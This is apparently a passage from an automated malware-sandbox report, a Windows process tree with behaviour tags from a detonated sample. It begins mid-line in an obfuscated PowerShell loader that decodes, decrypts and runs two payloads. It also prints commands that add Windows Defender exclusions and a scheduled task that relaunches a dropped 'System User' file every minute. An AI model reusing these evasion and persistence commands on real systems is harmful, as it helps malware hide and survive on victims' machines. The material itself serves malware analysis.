'')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Drops startup file
        Loads dropped DLL
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:3032
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4128
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1756
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\System User'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1384
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'System User'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1788
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "System User" /tr "C:\Users\Admin\AppData\Roaming\System User"
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3348
      - C:\Users\Admin\AppData\Local\Temp\dxipfm.exe
        
        "C:\Users\Admin\AppData\Local\Temp\dxipfm.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:3380
        
        C:\Windows\system32\wscript.exe
        
        "C:\Windows\system32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\3F17.tmp\3F18.tmp\3F19.vbs //Nologo
        7⤵
        UAC bypass
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        System policy modification
        
        PID:2284
        
        C:\Users\Admin\AppData\Local\Temp\3F17.tmp\eulascr.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3F17.tmp\eulascr.exe"
        8⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:3416
      - C:\Users\Admin\AppData\Local\Temp\phduje.exe
        
        "C:\Users\Admin\AppData\Local\Temp\phduje.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:1688
        
        C:\Windows\system32\wscript.exe
        
        "C:\Windows\system32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\F586.tmp\F587.tmp\F588.vbs //Nologo
        7⤵
        UAC bypass
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        System policy modification
        
        PID:4980
        
        C:\Users\Admin\AppData\Local\Temp\F586.tmp\eulascr.exe
        
        "C:\Users\Admin\AppData\Local\Temp\F586.tmp\eulascr.exe"
        8⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1712
      - C:\Windows\SYSTEM32\CMD.EXE
        
        "CMD.EXE"
        6⤵
        
        PID:4588
        
        C:\Windows\system32\reset.exe
        
        reset
        7⤵
        
        PID:5000
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\nereml.bat" "
        6⤵
        
        PID:2664
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\xebxog.bat" "
        6⤵
        
        PID:388

C:\Users\Admin\AppData\Roaming\System User
"C:\Users\Admin\AppData\Roaming\System User"
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1744

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:2684

C:\Users\Admin\AppData\Roaming\System User
"C:\Users\Admin\AppData\Roaming\System User"
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3480

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2732
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7ff8f686cc40,0x7ff8f686cc4c,0x7ff8f686cc58
  2⤵
  PID:3632
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1888,i,4364280506639616988,3430423692957402500,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=1868 /prefetch:2
  2⤵
  PID:4844
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2124,i,4364280506639616988,3430423692957402500,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=2196 /prefetch:3
  2⤵
  PID:4056
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2236,i,4364280506639616988,3430423692957402500,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=2436 /prefetch:8
  2⤵
  PID:4320
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3156,i,4364280506639616988,3430423692957402500,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=3176 /prefetch:1
  2⤵
  PID:4336
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3420,i,4364280506639616988,3430423692957402500,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=3272 /prefetch:1
  2⤵
  PID:804
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4500,i,4364280506639616988,3430423692957402500,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4584 /prefetch:1
  2⤵
  PID:2916
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4844,i,4364280506639616988,3430423692957402500,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4896 /prefetch:8
  2⤵
  PID:228
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5036,i,4364280506639616988,3430423692957402500,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=5072 /prefetch:8
  2⤵
  PID:368
- C:\Program Files\Google\Chrome\Application\123.0.6312.123\Installer\setup.exe
  "C:\Program Files\Google\Chrome\Application\123.0.6312.123\Installer\setup.exe" --reenable-autoupdates --system-level
  2⤵
  - Drops file in Program Files directory
  PID:1040
- - C:\Program Files\Google\Chrome\Application\123.0.6312.123\Installer\setup.exe
    "C:\Program Files\Google\Chrome\Application\123.0.6312.123\Installer\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files\Crashpad" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x284,0x288,0x28c,0x260,0x290,0x7ff607b64698,0x7ff607b646a4,0x7ff607b646b0
    3⤵
    - Drops file in Program Files directory
    PID:3192
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=4824,i,4364280506639616988,3430423692957402500,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4372 /prefetch:1
  2⤵
  PID:4356
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=5216,i,4364280506639616988,3430423692957402500,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=3168 /prefetch:1
  2⤵
  PID:1884
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --no-appcompat-clear --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=4472,i,4364280506639616988,3430423692957402500,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=3536 /prefetch:8
  2⤵
  - Drops file in System32 directory
  PID:5040
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --field-trial-handle=3200,i,4364280506639616988,3430423692957402500,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=3412 /prefetch:1
  2⤵
  PID:4008
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --no-appcompat-clear --field-trial-handle=5572,i,4364280506639616988,3430423692957402500,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=3536 /prefetch:8
  2⤵
  PID:1428
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --no-appcompat-clear --field-trial-handle=5596,i,4364280506639616988,3430423692957402500,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=5276 /prefetch:8
  2⤵
  PID:3728
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --no-appcompat-clear --field-trial-handle=5820,i,4364280506639616988,3430423692957402500,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=5824 /prefetch:8
  2⤵
  PID:4536
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=5192,i,4364280506639616988,3430423692957402500,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=5972 /prefetch:8
  2⤵
  PID:3864

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:3576

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:1300

C:\Users\Admin\AppData\Roaming\System User
"C:\Users\Admin\AppData\Roaming\System User"
1⤵
- Executes dropped EXE
PID:2372

C:\Users\Admin\Desktop\ArcticBomb.exe
"C:\Users\Admin\Desktop\ArcticBomb.exe"
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:1292

C:\Users\Admin\Desktop\ArcticBomb.exe
"C:\Users\Admin\Desktop\ArcticBomb.exe"
1⤵
- Executes dropped EXE
PID:3272

C:\Users\Admin\Desktop\ArcticBomb.exe
"C:\Users\Admin\Desktop\ArcticBomb.exe"
1⤵
- Executes dropped EXE
PID:1628

C:\Users\Admin\Desktop\ArcticBomb.exe
"C:\Users\Admin\Desktop\ArcticBomb.exe"
1⤵
- Executes dropped EXE
PID:2468

C:\Users\Admin\Desktop\ArcticBomb.exe
"C:\Users\Admin\Desktop\ArcticBomb.exe"
1⤵
- Executes dropped EXE
PID:4044

C:\Users\Admin\Desktop\ArcticBomb.exe
"C:\Users\Admin\Desktop\ArcticBomb.exe"
1⤵
- Executes dropped EXE
PID:3260

C:\Users\Admin\AppData\Roaming\System User
"C:\Users\Admin\AppData\Roaming\System User"
1⤵
- Executes dropped EXE
PID:4492

C:\Users\Admin\Desktop\ArcticBomb.exe
"C:\Users\Admin\Desktop\ArcticBomb.exe"
1⤵
- Executes dropped EXE
PID:2448

C:\Users\Admin\Desktop\ArcticBomb.exe
"C:\Users\Admin\Desktop\ArcticBomb.exe"
1⤵
- Executes dropped EXE
PID:1916

C:\Users\Admin\Desktop\ArcticBomb.exe
"C:\Users\Admin\Desktop\ArcticBomb.exe"
1⤵
- Executes dropped EXE
PID:2880

C:\Users\Admin\Desktop\ArcticBomb.exe
"C:\Users\Admin\Desktop\ArcticBomb.exe"
1⤵
- Executes dropped EXE
PID:4112

C:\Users\Admin\Desktop\ArcticBomb.exe
"C:\Users\Admin\Desktop\ArcticBomb.exe"
1⤵
- Executes dropped EXE
PID:3704

C:\Users\Admin\Desktop\ArcticBomb.exe
"C:\Users\Admin\Desktop\ArcticBomb.exe"
1⤵
- Executes dropped EXE
PID:340

C:\Users\Admin\Desktop\ArcticBomb.exe
"C:\Users\Admin\Desktop\ArcticBomb.exe"
1⤵
- Executes dropped EXE
PID:3580

C:\Users\Admin\AppData\Roaming\System User
"C:\Users\Admin\AppData\Roaming\System User"
1⤵
- Executes dropped EXE
PID:3572

C:\Users\Admin\AppData\Roaming\System User
"C:\Users\Admin\AppData\Roaming\System User"
1⤵
- Executes dropped EXE
PID:5016

C:\Users\Admin\AppData\Roaming\System User
"C:\Users\Admin\AppData\Roaming\System User"
1⤵
- Executes dropped EXE
PID:2544

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3916
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ff8f686cc40,0x7ff8f686cc4c,0x7ff8f686cc58
  2⤵
  PID:3208
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1920,i,4772327168545849200,12120811875476442838,262144 --variations-seed-version=20240903-050042.706000 --mojo-platform-channel-handle=1912 /prefetch:2
  2⤵
  PID:1064
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2144,i,4772327168545849200,12120811875476442838,262144 --variations-seed-version=20240903-050042.706000 --mojo-platform-channel-handle=2176 /prefetch:3
  2⤵
  PID:3476
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2236,i,4772327168545849200,12120811875476442838,262144 --variations-seed-version=20240903-050042.706000 --mojo-platform-channel-handle=2444 /prefetch:8
  2⤵
  PID:4308
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3128,i,4772327168545849200,12120811875476442838,262144 --variations-seed-version=20240903-050042.706000 --mojo-platform-channel-handle=3140 /prefetch:1
  2⤵
  PID:1976
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3164,i,4772327168545849200,12120811875476442838,262144 --variations-seed-version=20240903-050042.706000 --mojo-platform-channel-handle=3172 /prefetch:1
  2⤵
  PID:1168
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=3124,i,4772327168545849200,12120811875476442838,262144 --variations-seed-version=20240903-050042.706000 --mojo-platform-channel-handle=4548 /prefetch:1
  2⤵
  PID:1552
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4804,i,4772327168545849200,12120811875476442838,262144 --variations-seed-version=20240903-050042.706000 --mojo-platform-channel-handle=4836 /prefetch:8
  2⤵
  PID:736
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5044,i,4772327168545849200,12120811875476442838,262144 --variations-seed-version=20240903-050042.706000 --mojo-platform-channel-handle=4820 /prefetch:8
  2⤵
  PID:3428
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --no-appcompat-clear --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=4852,i,4772327168545849200,12120811875476442838,262144 --variations-seed-version=20240903-050042.706000 --mojo-platform-channel-handle=4732 /prefetch:8
  2⤵
  - Drops file in System32 directory
  PID:4652
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=4644,i,4772327168545849200,12120811875476442838,262144 --variations-seed-version=20240903-050042.706000 --mojo-platform-channel-handle=4848 /prefetch:1
  2⤵
  PID:800
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --field-trial-handle=4004,i,4772327168545849200,12120811875476442838,262144 --variations-seed-version=20240903-050042.706000 --mojo-platform-channel-handle=3280 /prefetch:1
  2⤵
  PID:1140
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --field-trial-handle=4000,i,4772327168545849200,12120811875476442838,262144 --variations-seed-version=20240903-050042.706000 --mojo-platform-channel-handle=1452 /prefetch:1
  2⤵
  PID:2880
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=5324,i,4772327168545849200,12120811875476442838,262144 --variations-seed-version=20240903-050042.706000 --mojo-platform-channel-handle=5332 /prefetch:8
  2⤵
  PID:1076
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --field-trial-handle=5392,i,4772327168545849200,12120811875476442838,262144 --variations-seed-version=20240903-050042.706000 --mojo-platform-channel-handle=3548 /prefetch:1
  2⤵
  PID:708
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=3012,i,4772327168545849200,12120811875476442838,262144 --variations-seed-version=20240903-050042.706000 --mojo-platform-channel-handle=5756 /prefetch:8
  2⤵
  PID:3356
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --no-appcompat-clear --field-trial-handle=5880,i,4772327168545849200,12120811875476442838,262144 --variations-seed-version=20240903-050042.706000 --mojo-platform-channel-handle=5828 /prefetch:8
  2⤵
  PID:3168
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --field-trial-handle=4032,i,4772327168545849200,12120811875476442838,262144 --variations-seed-version=20240903-050042.706000 --mojo-platform-channel-handle=3240 /prefetch:1
  2⤵
  PID:4480
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --field-trial-handle=5708,i,4772327168545849200,12120811875476442838,262144 --variations-seed-version=20240903-050042.706000 --mojo-platform-channel-handle=3228 /prefetch:1
  2⤵
  PID:1984
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --field-trial-handle=5528,i,4772327168545849200,12120811875476442838,262144 --variations-seed-version=20240903-050042.706000 --mojo-platform-channel-handle=5172 /prefetch:1
  2⤵
  PID:5136
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --field-trial-handle=5512,i,4772327168545849200,12120811875476442838,262144 --variations-seed-version=20240903-050042.706000 --mojo-platform-channel-handle=5828 /prefetch:1
  2⤵
  PID:5352

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:4464

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:3164

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:4356

C:\Users\Admin\AppData\Roaming\System User
"C:\Users\Admin\AppData\Roaming\System User"
1⤵
- Executes dropped EXE
PID:3056

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:3624
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe" -osint -url "C:\Users\Admin\Downloads\Mandela-Classic-main\Mandela-Classic-main\bin\ldid"
  2⤵
  PID:4424
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -osint -url C:\Users\Admin\Downloads\Mandela-Classic-main\Mandela-Classic-main\bin\ldid
    3⤵
    - Checks processor information in registry
    - Modifies registry class
    - Suspicious use of SendNotifyMessage
    - Suspicious use of SetWindowsHookEx
    PID:3860
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1996 -parentBuildID 20240401114208 -prefsHandle 1912 -prefMapHandle 1904 -prefsLen 23680 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {8d27a075-20de-40ed-a763-6e6973f0672f} 3860 "\\.\pipe\gecko-crash-server-pipe.3860" gpu
      4⤵
      PID:2688
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2420 -parentBuildID 20240401114208 -prefsHandle 2412 -prefMapHandle 2408 -prefsLen 24600 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d461ecf8-89c4-40c5-823d-105e83daf8a5} 3860 "\\.\pipe\gecko-crash-server-pipe.3860" socket
      4⤵
      Checks processor information in registry
      PID:2152
  - - C:\Program Files\Mozilla Firefox\firefox.exe
